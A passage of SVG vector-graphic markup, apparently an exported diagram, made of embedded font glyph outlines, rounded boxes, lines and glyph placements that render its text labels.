5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="s"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="B"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M0 2.516h6.016v1.171H0zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="m5.875-9 1.594 5.25.328 1.734h.031l.266-1.765L9.328-9h1.219L8.157.203h-.735L5.594-5.703l-.25-1.516h-.032l-.25 1.532L3.298.202h-.735L.095-9h1.375l1.39 5.234.22 1.75h.03l.329-1.78L4.905-9zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M7.219 0H1.156v-12.594H2.5v11.36h4.719zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M1.688-1.203h2.03V-9.97l.173-1.062-.61.86-1.515 1.218-.688-.797 3.281-3.063h.657v11.61h1.968V0H1.688zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M5.672 0v-5.469c0-.843-.102-1.484-.297-1.922-.2-.437-.594-.656-1.188-.656-.417 0-.796.152-1.14.453-.344.305-.574.68-.688 1.125V0H1.063v-12.594h1.296v4.438h.047c.239-.313.535-.567.89-.766.352-.195.798-.297 1.329-.297.395 0 .738.059 1.031.172.301.106.547.293.735.563.187.261.328.609.421 1.046.102.438.157.981.157 1.625V0zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="m.578-1.172 3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="M7.734-.484c-.293.25-.668.43-1.125.53C6.15.16 5.672.22 5.172.22a4.324 4.324 0 0 1-1.766-.36C2.863-.379 2.395-.758 2-1.28c-.387-.52-.688-1.192-.906-2.016-.211-.832-.313-1.832-.313-3 0-1.195.117-2.207.36-3.031.25-.832.578-1.504.984-2.016.406-.52.875-.894 1.406-1.125a4.251 4.251 0 0 1 1.656-.344c.57 0 1.047.043 1.422.126.383.085.711.183.985.296l-.328 1.235a3.297 3.297 0 0 0-.844-.313 5.256 5.256 0 0 0-1.11-.11c-.417 0-.812.095-1.187.282-.375.188-.71.492-1 .906-.281.407-.508.95-.672 1.625-.168.668-.25 1.493-.25 2.47 0 1.75.297 3.07.89 3.952.602.875 1.4 1.313 2.391 1.313a3.26 3.26 0 0 0 1.11-.172c.32-.113.597-.25.828-.406zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h722v512H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.236 40.853h35.865V66.19H24.236zm0 0" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.644 44.584H57.1M26.644 62.446H57.1M26.644 44.584a.3.3 0 0 0-.3.3M57.4 44.884a.3.3 0 0 0-.3-.3M26.344 44.884v17.262M57.4 44.884v17.262M26.344 62.146a.3.3 0 0 0 .3.3M57.1 62.446a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 125.96h102.399v23.853H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="144.211"/><use xlink:href="#b" x="86.109" y="144.211"/><use xlink:href="#b" x="95.016" y="144.211"/><use xlink:href="#c" x="103.922" y="144.211"/><use xlink:href="#d" x="109.781" y="144.211"/><use xlink:href="#e" x="118.336" y="144.211"/><use xlink:href="#e" x="125.328" y="144.211"/><use xlink:href="#f" x="132.32" y="144.211"/><use xlink:href="#g" x="136.422" y="144.211"/><use xlink:href="#h" x="141.285" y="144.211"/><use xlink:href="#i" x="145.777" y="144.211"/><use xlink:href="#d" x="154.762" y="144.211"/><use xlink:href="#f" x="163.316" y="144.211"/><use xlink:href="#j" x="167.418" y="144.211"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 116.684h408v40h-408zM197.313 122.684v-6c-3.313 0-6 2.687-6 6zM605.313 122.684h6c0-3.313-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 122.684h420v28h-420zM197.313 150.684h-6c0 3.312 2.687 6 6 6zM605.313 150.684v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 46.46h20.4M34.052 48.46h20.4M34.052 46.46a.3.3 0 0 0-.3.3M54.752 46.76a.3.3 0 0 0-.3-.3M33.752 46.76v1.4M54.752 46.76v1.4M33.752 48.16a.3.3 0 0 0 .3.3M54.452 48.46a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.313 161.434h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#k" x="191.313" y="177.684"/><use xlink:href="#l" x="199.008" y="177.684"/><use xlink:href="#m" x="203.949" y="177.684"/><use xlink:href="#n" x="208.891" y="177.684"/><use xlink:href="#n" x="216.215" y="177.684"/><use xlink:href="#l" x="223.656" y="177.684"/><use xlink:href="#o" x="228.598" y="177.684"/><use xlink:href="#p" x="232.406" y="177.684"/><use xlink:href="#q" x="239.613" y="177.684"/><use xlink:href="#q" x="247.406" y="177.684"/><use xlink:href="#m" x="255.199" y="177.684"/><use xlink:href="#n" x="260.141" y="177.684"/><use xlink:href="#r" x="267.582" y="177.684"/><use xlink:href="#r" x="273.656" y="177.684"/><use xlink:href="#s" x="279.73" y="177.684"/><use xlink:href="#o" x="281.469" y="177.684"/><use xlink:href="#t" x="285.277" y="177.684"/><use xlink:href="#u" x="291.527" y="177.684"/><use xlink:href="#v" x="294.32" y="177.684"/><use xlink:href="#u" x="303.793" y="177.684"/><use xlink:href="#o" x="305.414" y="177.684"/><use xlink:href="#w" x="309.223" y="177.684"/><use xlink:href="#x" x="317.035" y="177.684"/><use xlink:href="#y" x="324.496" y="177.684"/><use xlink:href="#s" x="331.918" y="177.684"/><use xlink:href="#o" x="333.656" y="177.684"/><use xlink:href="#z" x="337.465" y="177.684"/><use xlink:href="#x" x="343.578" y="177.684"/><use xlink:href="#A" x="351.352" y="177.684"/><use xlink:href="#B" x="363.07" y="177.684"/><use xlink:href="#p" x="370.902" y="177.684"/><use xlink:href="#C" x="378.109" y="177.684"/><use xlink:href="#D" x="386.02" y="177.684"/><use xlink:href="#o" x="392.309" y="177.684"/><use xlink:href="#C" x="396.117" y="177.684"/><use xlink:href="#p" x="404.027" y="177.684"/><use xlink:href="#A" x="411.234" y="177.684"/><use xlink:href="#n" x="422.953" y="177.684"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.157 51.13-3.462-.005" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.695 51.125c0-.125.125-.25.25-.25s.25.126.25.25c0 .126-.125.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 207.293h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="225.543"/><use xlink:href="#b" x="86.109" y="225.543"/><use xlink:href="#b" x="95.016" y="225.543"/><use xlink:href="#c" x="103.922" y="225.543"/><use xlink:href="#d" x="109.781" y="225.543"/><use xlink:href="#e" x="118.336" y="225.543"/><use xlink:href="#e" x="125.328" y="225.543"/><use xlink:href="#f" x="132.32" y="225.543"/><use xlink:href="#g" x="136.422" y="225.543"/><use xlink:href="#h" x="141.285" y="225.543"/><use xlink:href="#i" x="145.777" y="225.543"/><use xlink:href="#d" x="154.762" y="225.543"/><use xlink:href="#f" x="163.316" y="225.543"/><use xlink:href="#E" x="167.418" y="225.543"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 198.02h408v40h-408zM197.313 204.02v-6c-3.313 0-6 2.683-6 6zM605.313 204.02h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 204.02h420v28h-420zM197.313 232.02h-6c0 3.312 2.687 6 6 6zM605.313 232.02v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 50.528h20.4M34.052 52.528h20.4M34.052 50.528a.3.3 0 0 0-.3.3M54.752 50.828a.3.3 0 0 0-.3-.3M33.752 50.828v1.4M54.752 50.828v1.4M33.752 52.228a.3.3 0 0 0 .3.3M54.452 52.528a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.813 242.434h223.101v21.25H190.813zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#F" x="190.813" y="258.684"/><use xlink:href="#B" x="199.328" y="258.684"/><use xlink:href="#p" x="207.16" y="258.684"/><use xlink:href="#m" x="214.367" y="258.684"/><use xlink:href="#l" x="219.738" y="258.684"/><use xlink:href="#A" x="224.68" y="258.684"/><use xlink:href="#n" x="236.398" y="258.684"/><use xlink:href="#C" x="243.84" y="258.684"/><use xlink:href="#l" x="251.75" y="258.684"/><use xlink:href="#s" x="256.691" y="258.684"/><use xlink:href="#o" x="258.43" y="258.684"/><use xlink:href="#r" x="262.238" y="258.684"/><use xlink:href="#G" x="268.313" y="258.684"/><use xlink:href="#H" x="276.125" y="258.684"/><use xlink:href="#l" x="280.031" y="258.684"/><use xlink:href="#n" x="284.855" y="258.684"/><use xlink:href="#s" x="292.297" y="258.684"/><use xlink:href="#o" x="294.035" y="258.684"/><use xlink:href="#G" x="297.844" y="258.684"/><use xlink:href="#C" x="305.656" y="258.684"/><use xlink:href="#H" x="313.566" y="258.684"/><use xlink:href="#l" x="317.473" y="258.684"/><use xlink:href="#s" x="322.414" y="258.684"/><use xlink:href="#o" x="324.152" y="258.684"/><use xlink:href="#w" x="327.961" y="258.684"/><use xlink:href="#G" x="335.773" y="258.684"/><use xlink:href="#H" x="343.586" y="258.684"/><use xlink:href="#I" x="347.492" y="258.684"/><use xlink:href="#q" x="351.691" y="258.684"/><use xlink:href="#H" x="359.484" y="258.684"/><use xlink:href="#C" 